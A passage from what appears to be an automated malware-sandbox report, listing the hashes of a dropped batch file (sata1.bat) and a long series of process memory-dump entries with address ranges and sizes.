                      e25f77dd78df4a80ec02f01c8c6ed85fa0f9028ea87b899ffa0a5a87d211cb8c861d4e7912bb8d3cc3ee0a7240eb130f0abd6ffa0d3698b3d416c70de52eb450

                      Download Submit
                    • C:\ssd\onset\sata1.bat
                      MD5

                      03560667f8a4144f8d45f917fd522a95

                      SHA1

                      df8ec645f2cbecb9388c87a63674b508a791433e

                      SHA256

                      41e9529c2acd43b7a206ec80655016bb65ba6721acfd930d351399730e809ad1

                      SHA512

                      215824afaaf96acef5977a7e6f48b2133cd969b1d809db333bf1b700176dfaa745141aade50fb4bec1151087a3deb2d64ae542b2405a17ec53d17fbc69052ad4

                      Download Submit
                    • memory/644-6-0x000001C553427000-0x000001C553429000-memory.dmp
                      Filesize

                      8KB

                      Download
                    • memory/644-0-0x000001C552880000-0x000001C552EB7000-memory.dmp
                      Filesize

                      6.2MB

                      Download
                    • memory/644-3-0x000001C553429000-0x000001C55342C000-memory.dmp
                      Filesize

                      12KB

                      Download
                    • memory/644-4-0x000001C553426000-0x000001C553427000-memory.dmp
                      Filesize

                      4KB

                      Download
                    • memory/644-5-0x000001C553427000-0x000001C553429000-memory.dmp
                      Filesize

                      8KB

                      Download
                    • memory/980-19-0x0000000000000000-mapping.dmp
                      Download
                    • memory/984-61-0x0000000000000000-mapping.dmp
                      Download
                    • memory/1168-23-0x0000000000000000-mapping.dmp
                      Download
                    • memory/1620-58-0x0000000000000000-mapping.dmp
                      Download
                    • memory/1748-53-0x0000000000000000-mapping.dmp
                      Download
                    • memory/1796-56-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2092-17-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2172-47-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2304-51-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2496-62-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2532-26-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2716-7-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2740-60-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2748-54-0x0000000000000000-mapping.dmp
                      Download
                    • memory/2880-24-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3024-46-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3148-21-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3252-14-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3364-35-0x0000000000AD0000-0x0000000000AD1000-memory.dmp
                      Filesize

                      4KB

                      Download
                    • memory/3364-36-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3424-45-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3468-28-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3680-27-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3692-32-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3704-29-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3728-88-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3780-52-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3836-48-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3852-11-0x00000204E8120000-0x00000204E8121000-memory.dmp
                      Filesize

                      4KB

                      Download
                    • memory/3852-10-0x00000204E7E50000-0x00000204E7E51000-memory.dmp
                      Filesize

                      4KB

                      Download
                    • memory/3852-9-0x00007FFD67120000-0x00007FFD67B0C000-memory.dmp
                      Filesize

                      9.9MB

                      Download
                    • memory/3852-8-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3912-55-0x0000000000000000-mapping.dmp
                      Download
                    • memory/3992-50-0x0000000000000000-mapping.dmp
                      Download